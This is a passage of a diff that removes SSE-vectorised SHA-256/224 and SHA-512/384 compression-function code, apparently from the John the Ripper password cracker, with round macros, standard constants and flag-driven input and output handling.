-			_mm_store_si128((__m128i *)&out[i*20+4], b[i]);
-			_mm_store_si128((__m128i *)&out[i*20+8], c[i]);
-			_mm_store_si128((__m128i *)&out[i*20+12], d[i]);
-			_mm_store_si128((__m128i *)&out[i*20+16], e[i]);
-		}
-	}
-}
-#endif /* SHA_BUF_SIZ */
-#endif /* SHA1_SSE_PARA */
-
-
-#define S0(x)                           \
-(                                       \
-    _mm_xor_si128 (                     \
-        _mm_roti_epi32 (x, -22),        \
-        _mm_xor_si128 (                 \
-            _mm_roti_epi32 (x,  -2),    \
-            _mm_roti_epi32 (x, -13)     \
-        )                               \
-    )                                   \
-)
-
-#define S1(x)                           \
-(                                       \
-    _mm_xor_si128 (                     \
-        _mm_roti_epi32 (x, -25),        \
-        _mm_xor_si128 (                 \
-            _mm_roti_epi32 (x,  -6),    \
-            _mm_roti_epi32 (x, -11)     \
-        )                               \
-    )                                   \
-)
-
-#define s0(x)                           \
-(                                       \
-    _mm_xor_si128 (                     \
-        _mm_srli_epi32 (x, 3),          \
-        _mm_xor_si128 (                 \
-            _mm_roti_epi32 (x,  -7),    \
-            _mm_roti_epi32 (x, -18)     \
-        )                               \
-    )                                   \
-)
-
-#define s1(x)                           \
-(                                       \
-    _mm_xor_si128 (                     \
-        _mm_srli_epi32 (x, 10),         \
-        _mm_xor_si128 (                 \
-            _mm_roti_epi32 (x, -17),    \
-            _mm_roti_epi32 (x, -19)     \
-        )                               \
-    )                                   \
-)
-
-#define Maj(x,y,z) _mm_cmov_si128 (x, y, _mm_xor_si128 (z, y))
-
-#define Ch(x,y,z) _mm_cmov_si128 (y, z, x)
-
-#undef R
-#define R(x,x1,x2,x3)                         \
-{                                             \
-    tmp1 = _mm_add_epi32 (s1(w[x1]), w[x2]);  \
-    tmp1 = _mm_add_epi32 (w[x],  tmp1);       \
-    w[x] = _mm_add_epi32 (s0(w[x3]), tmp1);   \
-}
-
-#define SHA256_STEP0(a,b,c,d,e,f,g,h,x,K)            \
-{                                                    \
-    tmp1 = _mm_add_epi32 (h,    S1(e));              \
-    tmp1 = _mm_add_epi32 (tmp1, Ch(e,f,g));          \
-    tmp1 = _mm_add_epi32 (tmp1, _mm_set1_epi32(K));  \
-    tmp1 = _mm_add_epi32 (tmp1, w[x]);               \
-    tmp2 = _mm_add_epi32 (S0(a),Maj(a,b,c));         \
-    d    = _mm_add_epi32 (tmp1, d);                  \
-    h    = _mm_add_epi32 (tmp1, tmp2);               \
-}
-#define SHA256_STEP_R(a,b,c,d,e,f,g,h, x,x1,x2,x3, K)\
-{                                                    \
-	R(x,x1,x2,x3);								     \
-    tmp1 = _mm_add_epi32 (h,    S1(e));              \
-    tmp1 = _mm_add_epi32 (tmp1, Ch(e,f,g));          \
-    tmp1 = _mm_add_epi32 (tmp1, _mm_set1_epi32(K));  \
-    tmp1 = _mm_add_epi32 (tmp1, w[x]);				 \
-    tmp2 = _mm_add_epi32 (S0(a),Maj(a,b,c));         \
-    d    = _mm_add_epi32 (tmp1, d);                  \
-    h    = _mm_add_epi32 (tmp1, tmp2);               \
-}
-
-// this macro was used to create the new macros for the smaller w[16] array.
-/*
-#define SHA256_STEP(a,b,c,d,e,f,g,h,x,K)       \
-	printf ("_SHA256_STEP(%s,%s,%s,%s,%s,%s,%s,%s, %d,%d,%2d,%2d, 0x%08x);\n", \
-                        #a, #b, #c, #d, #e, #f, #g, #h, \
-                        (x)%16, (x-2)>15?(x-2)%16:x-2, (x-7)>15?(x-7)%16:x-7, (x-15)>15?(x-15)%16:x-15, K);
-*/
-
-/* TODO:
- *  1. (DONE) try to get w[] array down to w[32].  (Actually, now it is ONLY [16] in size.
- *            the data[] array is only required to be 16 elements also.
- *  2. (DONE) Get sha224 working (different IV, and only copy 224 bits)
- *  3. (DONE, needs tested.) Handle the init, so we can do more than 1 block.
- *  4. (DONE) try to make this function work properly with either a 'flat' input or a more common (in JtR lingo), COEF mixed set of data
- *  5. (DONE) Redid the out, into a MMX mixed blob, and not 8 arrays
- *  6. (DONE) Separated the reload array from the out array.  Required for work like PBKDF2, where we capture first block value, then replay it over and over.
- *  6. Optimizations.  Look at intel, AMD, newest intel, newest AMD, etc performances.
- *  7. See if we can do anything better using 'DO_PARA' type methods, like we do in SHA1/MD4/5
- */
-#if defined (MMX_COEF_SHA256)
-void SSESHA256body(__m128i *data, ARCH_WORD_32 *out, ARCH_WORD_32 *reload_state, unsigned SSEi_flags)
-{
-	__m128i a, b, c, d, e, f, g, h;
-	union {
-		__m128i w[16];
-		ARCH_WORD_32 p[16*sizeof(__m128i)/sizeof(ARCH_WORD_32)];
-
-	}_w;
-	__m128i tmp1, tmp2, *w=_w.w;
-	ARCH_WORD_32 *saved_key=0;
-
-	int i;
-	if (SSEi_flags & SSEi_FLAT_IN) {
-
-#ifdef __SSE4_1__
-		saved_key = (ARCH_WORD_32 *)data;
-		if (SSEi_flags & SSEi_4BUF_INPUT) {
-			for (i=0; i < 14; ++i) { GATHER_4x (w[i], saved_key, i); SWAP_ENDIAN (w[i]); }
-			GATHER_4x (w[14], saved_key, 14);
-			GATHER_4x (w[15], saved_key, 15);
-		} else if (SSEi_flags & SSEi_2BUF_INPUT) {
-			for (i=0; i < 14; ++i) { GATHER_2x (w[i], saved_key, i); SWAP_ENDIAN (w[i]); }
-			GATHER_2x (w[14], saved_key, 14);
-			GATHER_2x (w[15], saved_key, 15);
-		} else {
-			for (i=0; i < 14; ++i) { GATHER (w[i], saved_key, i); SWAP_ENDIAN (w[i]); }
-			GATHER (w[14], saved_key, 14);
-			GATHER (w[15], saved_key, 15);
-		}
-		if ( ((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK) == SSEi_2BUF_INPUT_FIRST_BLK) ||
-			 ((SSEi_flags & SSEi_4BUF_INPUT_FIRST_BLK) == SSEi_4BUF_INPUT_FIRST_BLK)) {
-			SWAP_ENDIAN (w[14]);
-			SWAP_ENDIAN (w[15]);
-		}
-#else
-		int j;
-		ARCH_WORD_32 *p = _w.p;
-		saved_key = (ARCH_WORD_32 *)data;
-		if (SSEi_flags & SSEi_4BUF_INPUT) {
-			for (j=0; j < 16; j++)
-				for (i=0; i < MMX_COEF_SHA256; i++)
-					*p++ = saved_key[(i<<6)+j];
-		} else if (SSEi_flags & SSEi_2BUF_INPUT) {
-			for (j=0; j < 16; j++)
-				for (i=0; i < MMX_COEF_SHA256; i++)
-					*p++ = saved_key[(i<<5)+j];
-		} else {
-			for (j=0; j < 16; j++)
-				for (i=0; i < MMX_COEF_SHA256; i++)
-					*p++ = saved_key[(i<<4)+j];
-		}
-		for (i=0; i < 14; i++)
-			SWAP_ENDIAN (w[i]);
-		if ( ((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK) == SSEi_2BUF_INPUT_FIRST_BLK) ||
-			 ((SSEi_flags & SSEi_4BUF_INPUT_FIRST_BLK) == SSEi_4BUF_INPUT_FIRST_BLK)) {
-			SWAP_ENDIAN (w[14]);
-			SWAP_ENDIAN (w[15]);
-		}
-#endif
-	} else
-		memcpy(w, data, 16*sizeof(__m128i));
-
-//	dump_stuff_shammx(w, 64, 0);
-
-
-	if (SSEi_flags & SSEi_RELOAD) {
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT)
-		{
-			i=0; // later if we do PARA, i will be used in the PARA_FOR loop
-			a = _mm_load_si128((__m128i *)&reload_state[i*16*4+0]);
-			b = _mm_load_si128((__m128i *)&reload_state[i*16*4+4]);
-			c = _mm_load_si128((__m128i *)&reload_state[i*16*4+8]);
-			d = _mm_load_si128((__m128i *)&reload_state[i*16*4+12]);
-			e = _mm_load_si128((__m128i *)&reload_state[i*16*4+16]);
-			f = _mm_load_si128((__m128i *)&reload_state[i*16*4+20]);
-			g = _mm_load_si128((__m128i *)&reload_state[i*16*4+24]);
-			h = _mm_load_si128((__m128i *)&reload_state[i*16*4+28]);
-		}
-		else
-		{
-			i=0;
-			a = _mm_load_si128((__m128i *)&reload_state[i*32+0]);
-			b = _mm_load_si128((__m128i *)&reload_state[i*32+4]);
-			c = _mm_load_si128((__m128i *)&reload_state[i*32+8]);
-			d = _mm_load_si128((__m128i *)&reload_state[i*32+12]);
-			e = _mm_load_si128((__m128i *)&reload_state[i*32+16]);
-			f = _mm_load_si128((__m128i *)&reload_state[i*32+20]);
-			g = _mm_load_si128((__m128i *)&reload_state[i*32+24]);
-			h = _mm_load_si128((__m128i *)&reload_state[i*32+28]);
-		}
-	} else {
-		if (SSEi_flags & SSEi_CRYPT_SHA224) {
-			/* SHA-224 IV */
-			a = _mm_set1_epi32 (0xc1059ed8);
-			b = _mm_set1_epi32 (0x367cd507);
-			c = _mm_set1_epi32 (0x3070dd17);
-			d = _mm_set1_epi32 (0xf70e5939);
-			e = _mm_set1_epi32 (0xffc00b31);
-			f = _mm_set1_epi32 (0x68581511);
-			g = _mm_set1_epi32 (0x64f98fa7);
-			h = _mm_set1_epi32 (0xbefa4fa4);
-		} else {
-			// SHA-256 IV */
-			a = _mm_set1_epi32 (0x6a09e667);
-			b = _mm_set1_epi32 (0xbb67ae85);
-			c = _mm_set1_epi32 (0x3c6ef372);
-			d = _mm_set1_epi32 (0xa54ff53a);
-			e = _mm_set1_epi32 (0x510e527f);
-			f = _mm_set1_epi32 (0x9b05688c);
-			g = _mm_set1_epi32 (0x1f83d9ab);
-			h = _mm_set1_epi32 (0x5be0cd19);
-		}
-	}
-	SHA256_STEP0(a, b, c, d, e, f, g, h,  0, 0x428a2f98);
-	SHA256_STEP0(h, a, b, c, d, e, f, g,  1, 0x71374491);
-	SHA256_STEP0(g, h, a, b, c, d, e, f,  2, 0xb5c0fbcf);
-	SHA256_STEP0(f, g, h, a, b, c, d, e,  3, 0xe9b5dba5);
-	SHA256_STEP0(e, f, g, h, a, b, c, d,  4, 0x3956c25b);
-	SHA256_STEP0(d, e, f, g, h, a, b, c,  5, 0x59f111f1);
-	SHA256_STEP0(c, d, e, f, g, h, a, b,  6, 0x923f82a4);
-	SHA256_STEP0(b, c, d, e, f, g, h, a,  7, 0xab1c5ed5);
-	SHA256_STEP0(a, b, c, d, e, f, g, h,  8, 0xd807aa98);
-	SHA256_STEP0(h, a, b, c, d, e, f, g,  9, 0x12835b01);
-	SHA256_STEP0(g, h, a, b, c, d, e, f, 10, 0x243185be);
-	SHA256_STEP0(f, g, h, a, b, c, d, e, 11, 0x550c7dc3);
-	SHA256_STEP0(e, f, g, h, a, b, c, d, 12, 0x72be5d74);
-	SHA256_STEP0(d, e, f, g, h, a, b, c, 13, 0x80deb1fe);
-	SHA256_STEP0(c, d, e, f, g, h, a, b, 14, 0x9bdc06a7);
-	SHA256_STEP0(b, c, d, e, f, g, h, a, 15, 0xc19bf174);
-
-	SHA256_STEP_R(a,b,c,d,e,f,g,h,  0,14, 9, 1, 0xe49b69c1);
-	SHA256_STEP_R(h,a,b,c,d,e,f,g,  1,15,10, 2, 0xefbe4786);
-	SHA256_STEP_R(g,h,a,b,c,d,e,f,  2, 0,11, 3, 0x0fc19dc6);
-	SHA256_STEP_R(f,g,h,a,b,c,d,e,  3, 1,12, 4, 0x240ca1cc);
-	SHA256_STEP_R(e,f,g,h,a,b,c,d,  4, 2,13, 5, 0x2de92c6f);
-	SHA256_STEP_R(d,e,f,g,h,a,b,c,  5, 3,14, 6, 0x4a7484aa);
-	SHA256_STEP_R(c,d,e,f,g,h,a,b,  6, 4,15, 7, 0x5cb0a9dc);
-	SHA256_STEP_R(b,c,d,e,f,g,h,a,  7, 5, 0, 8, 0x76f988da);
-	SHA256_STEP_R(a,b,c,d,e,f,g,h,  8, 6, 1, 9, 0x983e5152);
-	SHA256_STEP_R(h,a,b,c,d,e,f,g,  9, 7, 2,10, 0xa831c66d);
-	SHA256_STEP_R(g,h,a,b,c,d,e,f, 10, 8, 3,11, 0xb00327c8);
-	SHA256_STEP_R(f,g,h,a,b,c,d,e, 11, 9, 4,12, 0xbf597fc7);
-	SHA256_STEP_R(e,f,g,h,a,b,c,d, 12,10, 5,13, 0xc6e00bf3);
-	SHA256_STEP_R(d,e,f,g,h,a,b,c, 13,11, 6,14, 0xd5a79147);
-	SHA256_STEP_R(c,d,e,f,g,h,a,b, 14,12, 7,15, 0x06ca6351);
-	SHA256_STEP_R(b,c,d,e,f,g,h,a, 15,13, 8, 0, 0x14292967);
-
-	SHA256_STEP_R(a,b,c,d,e,f,g,h,  0,14, 9, 1, 0x27b70a85);
-	SHA256_STEP_R(h,a,b,c,d,e,f,g,  1,15,10, 2, 0x2e1b2138);
-	SHA256_STEP_R(g,h,a,b,c,d,e,f,  2, 0,11, 3, 0x4d2c6dfc);
-	SHA256_STEP_R(f,g,h,a,b,c,d,e,  3, 1,12, 4, 0x53380d13);
-	SHA256_STEP_R(e,f,g,h,a,b,c,d,  4, 2,13, 5, 0x650a7354);
-	SHA256_STEP_R(d,e,f,g,h,a,b,c,  5, 3,14, 6, 0x766a0abb);
-	SHA256_STEP_R(c,d,e,f,g,h,a,b,  6, 4,15, 7, 0x81c2c92e);
-	SHA256_STEP_R(b,c,d,e,f,g,h,a,  7, 5, 0, 8, 0x92722c85);
-	SHA256_STEP_R(a,b,c,d,e,f,g,h,  8, 6, 1, 9, 0xa2bfe8a1);
-	SHA256_STEP_R(h,a,b,c,d,e,f,g,  9, 7, 2,10, 0xa81a664b);
-	SHA256_STEP_R(g,h,a,b,c,d,e,f, 10, 8, 3,11, 0xc24b8b70);
-	SHA256_STEP_R(f,g,h,a,b,c,d,e, 11, 9, 4,12, 0xc76c51a3);
-	SHA256_STEP_R(e,f,g,h,a,b,c,d, 12,10, 5,13, 0xd192e819);
-	SHA256_STEP_R(d,e,f,g,h,a,b,c, 13,11, 6,14, 0xd6990624);
-	SHA256_STEP_R(c,d,e,f,g,h,a,b, 14,12, 7,15, 0xf40e3585);
-	SHA256_STEP_R(b,c,d,e,f,g,h,a, 15,13, 8, 0, 0x106aa070);
-
-	SHA256_STEP_R(a,b,c,d,e,f,g,h,  0,14, 9, 1, 0x19a4c116);
-	SHA256_STEP_R(h,a,b,c,d,e,f,g,  1,15,10, 2, 0x1e376c08);
-	SHA256_STEP_R(g,h,a,b,c,d,e,f,  2, 0,11, 3, 0x2748774c);
-	SHA256_STEP_R(f,g,h,a,b,c,d,e,  3, 1,12, 4, 0x34b0bcb5);
-	SHA256_STEP_R(e,f,g,h,a,b,c,d,  4, 2,13, 5, 0x391c0cb3);
-	SHA256_STEP_R(d,e,f,g,h,a,b,c,  5, 3,14, 6, 0x4ed8aa4a);
-	SHA256_STEP_R(c,d,e,f,g,h,a,b,  6, 4,15, 7, 0x5b9cca4f);
-	SHA256_STEP_R(b,c,d,e,f,g,h,a,  7, 5, 0, 8, 0x682e6ff3);
-	SHA256_STEP_R(a,b,c,d,e,f,g,h,  8, 6, 1, 9, 0x748f82ee);
-	SHA256_STEP_R(h,a,b,c,d,e,f,g,  9, 7, 2,10, 0x78a5636f);
-	SHA256_STEP_R(g,h,a,b,c,d,e,f, 10, 8, 3,11, 0x84c87814);
-	SHA256_STEP_R(f,g,h,a,b,c,d,e, 11, 9, 4,12, 0x8cc70208);
-	SHA256_STEP_R(e,f,g,h,a,b,c,d, 12,10, 5,13, 0x90befffa);
-	SHA256_STEP_R(d,e,f,g,h,a,b,c, 13,11, 6,14, 0xa4506ceb);
-	SHA256_STEP_R(c,d,e,f,g,h,a,b, 14,12, 7,15, 0xbef9a3f7);
-	SHA256_STEP_R(b,c,d,e,f,g,h,a, 15,13, 8, 0, 0xc67178f2);
-
-	if (SSEi_flags & SSEi_RELOAD) {
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT)
-		{
-			i=0; // later if we do PARA, i will be used in the PARA_FOR loop
-			a = _mm_add_epi32(a,_mm_load_si128((__m128i *)&reload_state[i*16*2+0]));
-			b = _mm_add_epi32(b,_mm_load_si128((__m128i *)&reload_state[i*16*2+4]));
-			c = _mm_add_epi32(c,_mm_load_si128((__m128i *)&reload_state[i*16*2+8]));
-			d = _mm_add_epi32(d,_mm_load_si128((__m128i *)&reload_state[i*16*2+12]));
-			e = _mm_add_epi32(e,_mm_load_si128((__m128i *)&reload_state[i*16*2+16]));
-			f = _mm_add_epi32(f,_mm_load_si128((__m128i *)&reload_state[i*16*2+20]));
-			g = _mm_add_epi32(g,_mm_load_si128((__m128i *)&reload_state[i*16*2+24]));
-			h = _mm_add_epi32(h,_mm_load_si128((__m128i *)&reload_state[i*16*2+28]));
-		}
-		else
-		{
-			i=0;
-			a = _mm_add_epi32(a,_mm_load_si128((__m128i *)&reload_state[i*32+0]));
-			b = _mm_add_epi32(b,_mm_load_si128((__m128i *)&reload_state[i*32+4]));
-			c = _mm_add_epi32(c,_mm_load_si128((__m128i *)&reload_state[i*32+8]));
-			d = _mm_add_epi32(d,_mm_load_si128((__m128i *)&reload_state[i*32+12]));
-			e = _mm_add_epi32(e,_mm_load_si128((__m128i *)&reload_state[i*32+16]));
-			f = _mm_add_epi32(f,_mm_load_si128((__m128i *)&reload_state[i*32+20]));
-			g = _mm_add_epi32(g,_mm_load_si128((__m128i *)&reload_state[i*32+24]));
-			h = _mm_add_epi32(h,_mm_load_si128((__m128i *)&reload_state[i*32+28]));
-		}
-	} else if ((SSEi_flags & SSEi_SKIP_FINAL_ADD) == 0) {
-		if (SSEi_flags & SSEi_CRYPT_SHA224) {
-			/* SHA-224 IV */
-			a = _mm_add_epi32 (a, _mm_set1_epi32 (0xc1059ed8));
-			b = _mm_add_epi32 (b, _mm_set1_epi32 (0x367cd507));
-			c = _mm_add_epi32 (c, _mm_set1_epi32 (0x3070dd17));
-			d = _mm_add_epi32 (d, _mm_set1_epi32 (0xf70e5939));
-			e = _mm_add_epi32 (e, _mm_set1_epi32 (0xffc00b31));
-			f = _mm_add_epi32 (f, _mm_set1_epi32 (0x68581511));
-			g = _mm_add_epi32 (g, _mm_set1_epi32 (0x64f98fa7));
-			h = _mm_add_epi32 (h, _mm_set1_epi32 (0xbefa4fa4));
-		} else {
-			/* SHA-256 IV */
-			a = _mm_add_epi32 (a, _mm_set1_epi32 (0x6a09e667));
-			b = _mm_add_epi32 (b, _mm_set1_epi32 (0xbb67ae85));
-			c = _mm_add_epi32 (c, _mm_set1_epi32 (0x3c6ef372));
-			d = _mm_add_epi32 (d, _mm_set1_epi32 (0xa54ff53a));
-			e = _mm_add_epi32 (e, _mm_set1_epi32 (0x510e527f));
-			f = _mm_add_epi32 (f, _mm_set1_epi32 (0x9b05688c));
-			g = _mm_add_epi32 (g, _mm_set1_epi32 (0x1f83d9ab));
-			h = _mm_add_epi32 (h, _mm_set1_epi32 (0x5be0cd19));
-		}
-	}
-	if (SSEi_flags & SSEi_SWAP_FINAL) {
-		/* NOTE, if we swap OUT of BE into proper LE, then this can not be
-		 * used in a sha256_flags&SHA256_RELOAD manner, without swapping back into BE format.
-		 * NORMALLY, a format will switch binary values into BE format at start, and then
-		 * just take the 'normal' non swapped output of this function (i.e. keep it in BE) */
-		SWAP_ENDIAN (a);
-		SWAP_ENDIAN (b);
-		SWAP_ENDIAN (c);
-		SWAP_ENDIAN (d);
-		SWAP_ENDIAN (e);
-		SWAP_ENDIAN (f);
-		SWAP_ENDIAN (g);
-		SWAP_ENDIAN (h);
-	}
-	/* We store the MMX_mixed values.  This will be in proper 'mixed' format, in BE
-	 * format (i.e. correct to reload on a subsquent call), UNLESS, swapped in the prior
-	 * if statement (the SHA256_SWAP_FINAL) */
-	if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT)
-	{
-		i=0;
-		//SHA512_PARA_DO(i)
-		{
-			_mm_store_si128((__m128i *)&out[i*16*4+0], a);
-			_mm_store_si128((__m128i *)&out[i*16*4+4], b);
-			_mm_store_si128((__m128i *)&out[i*16*4+8], c);
-			_mm_store_si128((__m128i *)&out[i*16*4+12], d);
-			_mm_store_si128((__m128i *)&out[i*16*4+16], e);
-			_mm_store_si128((__m128i *)&out[i*16*4+20], f);
-			_mm_store_si128((__m128i *)&out[i*16*4+24], g);
-			_mm_store_si128((__m128i *)&out[i*16*4+28], h);
-		}
-	}
-	else
-	{
-		i=0;
-		//SHA512_PARA_DO(i)
-		{
-			_mm_store_si128 ((__m128i *)&(out[i*32+0]), a);
-			_mm_store_si128 ((__m128i *)&(out[i*32+4]), b);
-			_mm_store_si128 ((__m128i *)&(out[i*32+8]), c);
-			_mm_store_si128 ((__m128i *)&(out[i*32+12]), d);
-			_mm_store_si128 ((__m128i *)&(out[i*32+16]), e);
-			_mm_store_si128 ((__m128i *)&(out[i*32+20]), f);
-			_mm_store_si128 ((__m128i *)&(out[i*32+24]), g);
-			_mm_store_si128 ((__m128i *)&(out[i*32+28]), h);
-		}
-	}
-
-}
-#endif
-
-/* SHA-512 below */
-
-#undef S0
-#define S0(x)                          \
-(                                      \
-    _mm_xor_si128 (                    \
-        _mm_roti_epi64 (x, -39),       \
-        _mm_xor_si128 (                \
-            _mm_roti_epi64 (x, -28),   \
-            _mm_roti_epi64 (x, -34)    \
-        )                              \
-    )                                  \
-)
-
-#undef S1
-#define S1(x)                          \
-(                                      \
-    _mm_xor_si128 (                    \
-        _mm_roti_epi64 (x, -41),       \
-        _mm_xor_si128 (                \
-            _mm_roti_epi64 (x, -14),   \
-            _mm_roti_epi64 (x, -18)    \
-        )                              \
-    )                                  \
-)
-
-#undef s0
-#define s0(x)                          \
-(                                      \
-    _mm_xor_si128 (                    \
-        _mm_srli_epi64 (x, 7),         \
-        _mm_xor_si128 (                \
-            _mm_roti_epi64 (x, -1),    \
-            _mm_roti_epi64 (x, -8)     \
-        )                              \
-    )                                  \
-)
-
-#undef s1
-#define s1(x)                          \
-(                                      \
-    _mm_xor_si128 (                    \
-        _mm_srli_epi64 (x, 6),         \
-        _mm_xor_si128 (                \
-            _mm_roti_epi64 (x, -19),   \
-            _mm_roti_epi64 (x, -61)    \
-        )                              \
-    )                                  \
-)
-
-#define Maj(x,y,z) _mm_cmov_si128 (x, y, _mm_xor_si128 (z, y))
-
-#define Ch(x,y,z)  _mm_cmov_si128 (y, z, x)
-
-#undef R
-#define R(t)                                         \
-{                                                    \
-    tmp1 = _mm_add_epi64 (s1(w[t -  2]), w[t - 7]);  \
-    tmp2 = _mm_add_epi64 (s0(w[t - 15]), w[t - 16]); \
-    w[t] = _mm_add_epi64 (tmp1, tmp2);               \
-}
-
-#define SHA512_STEP(a,b,c,d,e,f,g,h,x,K)             \
-{                                                    \
-    tmp1 = _mm_add_epi64 (h,    w[x]);               \
-    tmp2 = _mm_add_epi64 (S1(e),_mm_set1_epi64x(K)); \
-    tmp1 = _mm_add_epi64 (tmp1, Ch(e,f,g));          \
-    tmp1 = _mm_add_epi64 (tmp1, tmp2);               \
-    tmp2 = _mm_add_epi64 (S0(a),Maj(a,b,c));         \
-    d    = _mm_add_epi64 (tmp1, d);                  \
-    h    = _mm_add_epi64 (tmp1, tmp2);               \
-}
-
-#if defined (MMX_COEF_SHA512)
-void SSESHA512body(__m128i* data, ARCH_WORD_64 *out, ARCH_WORD_64 *reload_state, unsigned SSEi_flags)
-{
-	int i;
-
-	__m128i a, b, c, d, e, f, g, h;
-	__m128i w[80], tmp1, tmp2;
-
-	if (SSEi_flags & SSEi_FLAT_IN) {
-
-		if (SSEi_flags & SSEi_2BUF_INPUT) {
-			ARCH_WORD_64 (*saved_key)[32] = (ARCH_WORD_64(*)[32])data;
-			for (i = 0; i < 14; i += 2) {
-				GATHER64 (tmp1, saved_key, i);
-				GATHER64 (tmp2, saved_key, i + 1);
-				SWAP_ENDIAN64 (tmp1);
-				SWAP_ENDIAN64 (tmp2);
-				w[i] = tmp1;
-				w[i + 1] = tmp2;
-			}
-			GATHER64 (tmp1, saved_key, 14);
-			GATHER64 (tmp2, saved_key, 15);
-		} else {
-			ARCH_WORD_64 (*saved_key)[16] = (ARCH_WORD_64(*)[16])data;
-			for (i = 0; i < 14; i += 2) {
-				GATHER64 (tmp1, saved_key, i);
-				GATHER64 (tmp2, saved_key, i + 1);
-				SWAP_ENDIAN64 (tmp1);
-				SWAP_ENDIAN64 (tmp2);
-				w[i] = tmp1;
-				w[i + 1] = tmp2;
-			}
-			GATHER64 (tmp1, saved_key, 14);
-			GATHER64 (tmp2, saved_key, 15);
-		}
-		if ( ((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK) == SSEi_2BUF_INPUT_FIRST_BLK)) {
-			SWAP_ENDIAN64 (tmp1);
-			SWAP_ENDIAN64 (tmp2);
-		}
-		w[14] = tmp1;
-		w[15] = tmp2;
-	} else
-		memcpy(w, data, 16*sizeof(__m128i));
-
-	for (i = 16; i < 80; i++)
-		R(i);
-
-	if (SSEi_flags & SSEi_RELOAD) {
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT)
-		{
-			i=0; // later if we do PARA, i will be used in the PARA_FOR loop
-			a = _mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+( 0/2)]);
-			b = _mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+( 4/2)]);
-			c = _mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+( 8/2)]);
-			d = _mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+(12/2)]);
-			e = _mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+(16/2)]);
-			f = _mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+(20/2)]);
-			g = _mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+(24/2)]);
-			h = _mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+(28/2)]);
-		}
-		else
-		{
-			i=0;
-			a = _mm_load_si128((__m128i *)&reload_state[i*(32/2)+( 0/2)]);
-			b = _mm_load_si128((__m128i *)&reload_state[i*(32/2)+( 4/2)]);
-			c = _mm_load_si128((__m128i *)&reload_state[i*(32/2)+( 8/2)]);
-			d = _mm_load_si128((__m128i *)&reload_state[i*(32/2)+(12/2)]);
-			e = _mm_load_si128((__m128i *)&reload_state[i*(32/2)+(16/2)]);
-			f = _mm_load_si128((__m128i *)&reload_state[i*(32/2)+(20/2)]);
-			g = _mm_load_si128((__m128i *)&reload_state[i*(32/2)+(24/2)]);
-			h = _mm_load_si128((__m128i *)&reload_state[i*(32/2)+(28/2)]);
-		}
-	} else {
-		if (SSEi_flags & SSEi_CRYPT_SHA384) {
-			/* SHA-384 IV */
-			a = _mm_set1_epi64x (0xcbbb9d5dc1059ed8ULL);
-			b = _mm_set1_epi64x (0x629a292a367cd507ULL);
-			c = _mm_set1_epi64x (0x9159015a3070dd17ULL);
-			d = _mm_set1_epi64x (0x152fecd8f70e5939ULL);
-			e = _mm_set1_epi64x (0x67332667ffc00b31ULL);
-			f = _mm_set1_epi64x (0x8eb44a8768581511ULL);
-			g = _mm_set1_epi64x (0xdb0c2e0d64f98fa7ULL);
-			h = _mm_set1_epi64x (0x47b5481dbefa4fa4ULL);
-		} else {
-			// SHA-512 IV */
-			a = _mm_set1_epi64x (0x6a09e667f3bcc908ULL);
-			b = _mm_set1_epi64x (0xbb67ae8584caa73bULL);
-			c = _mm_set1_epi64x (0x3c6ef372fe94f82bULL);
-			d = _mm_set1_epi64x (0xa54ff53a5f1d36f1ULL);
-			e = _mm_set1_epi64x (0x510e527fade682d1ULL);
-			f = _mm_set1_epi64x (0x9b05688c2b3e6c1fULL);
-			g = _mm_set1_epi64x (0x1f83d9abfb41bd6bULL);
-			h = _mm_set1_epi64x (0x5be0cd19137e2179ULL);
-		}
-	}
-
-	SHA512_STEP(a, b, c, d, e, f, g, h,  0, 0x428a2f98d728ae22ULL);
-	SHA512_STEP(h, a, b, c, d, e, f, g,  1, 0x7137449123ef65cdULL);
-	SHA512_STEP(g, h, a, b, c, d, e, f,  2, 0xb5c0fbcfec4d3b2fULL);
-	SHA512_STEP(f, g, h, a, b, c, d, e,  3, 0xe9b5dba58189dbbcULL);
-	SHA512_STEP(e, f, g, h, a, b, c, d,  4, 0x3956c25bf348b538ULL);
-	SHA512_STEP(d, e, f, g, h, a, b, c,  5, 0x59f111f1b605d019ULL);
-	SHA512_STEP(c, d, e, f, g, h, a, b,  6, 0x923f82a4af194f9bULL);
-	SHA512_STEP(b, c, d, e, f, g, h, a,  7, 0xab1c5ed5da6d8118ULL);
-	SHA512_STEP(a, b, c, d, e, f, g, h,  8, 0xd807aa98a3030242ULL);
-	SHA512_STEP(h, a, b, c, d, e, f, g,  9, 0x12835b0145706fbeULL);
-	SHA512_STEP(g, h, a, b, c, d, e, f, 10, 0x243185be4ee4b28cULL);
-	SHA512_STEP(f, g, h, a, b, c, d, e, 11, 0x550c7dc3d5ffb4e2ULL);
-	SHA512_STEP(e, f, g, h, a, b, c, d, 12, 0x72be5d74f27b896fULL);
-	SHA512_STEP(d, e, f, g, h, a, b, c, 13, 0x80deb1fe3b1696b1ULL);
-	SHA512_STEP(c, d, e, f, g, h, a, b, 14, 0x9bdc06a725c71235ULL);
-	SHA512_STEP(b, c, d, e, f, g, h, a, 15, 0xc19bf174cf692694ULL);
-
-	SHA512_STEP(a, b, c, d, e, f, g, h, 16, 0xe49b69c19ef14ad2ULL);
-	SHA512_STEP(h, a, b, c, d, e, f, g, 17, 0xefbe4786384f25e3ULL);
-	SHA512_STEP(g, h, a, b, c, d, e, f, 18, 0x0fc19dc68b8cd5b5ULL);
-	SHA512_STEP(f, g, h, a, b, c, d, e, 19, 0x240ca1cc77ac9c65ULL);
-	SHA512_STEP(e, f, g, h, a, b, c, d, 20, 0x2de92c6f592b0275ULL);
-	SHA512_STEP(d, e, f, g, h, a, b, c, 21, 0x4a7484aa6ea6e483ULL);
